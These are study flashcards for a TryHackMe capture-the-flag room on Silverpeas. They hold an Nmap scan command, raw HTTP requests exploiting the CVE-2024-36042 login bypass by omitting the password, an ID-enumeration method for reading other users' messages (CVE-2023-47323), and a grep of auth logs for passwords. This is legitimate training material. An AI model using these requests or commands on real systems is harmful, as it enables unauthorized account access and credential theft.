THM-Silver Platter

Front

What command is used to perform a service version detection scan with Nmap?

Back

nmap -sC -sV -vv -T4 10.10.245.41 --unprivileged

Front

Where can you find the directory list for web content?

Back

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt

****Use Burp Intruder

Front

What is the CVE identifier for the Silverpeas authentication bypass vulnerability?

Back

CVE-2024-36042

-------------------------------------------------

POST /silverpeas/AuthenticationServlet HTTP/2

Host: 212.129.58.88

Content-Length: 28

Origin: https://212.129.58.88

Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&Password=SilverAdmin&DomainId=0

---------

POST /silverpeas/AuthenticationServlet HTTP/2

Host: 212.129.58.88

Content-Length: 28

Origin: https://212.129.58.88

Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

-------------------------------------------------

Front

What is the CVE identifier for the Broken Access Control vulnerability in Silverpeas?

Back

CVE-2023–47323

Proof-of-Concept Exploit

Description

The notification/messaging feature of Silverpeas Core 6.3.1 does not enforce access control on the ID parameter. This allows an attacker to read all messages sent between other users; including those sent only to administrators.

Usage/Exploitation

To exploit this vulnerability, an attacker can use a script or Burp Suite Intruder to view all messages by attacking the ID parameter in this URL: http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID] - the messages begin at "1" and increase in intervals of 1.

Front

What command can be used to check user log accessibility and passwords?

Back

cat /var/log/auth* | grep -ai -e 'USER-NAME' -e 'pass' -e 'ssh'.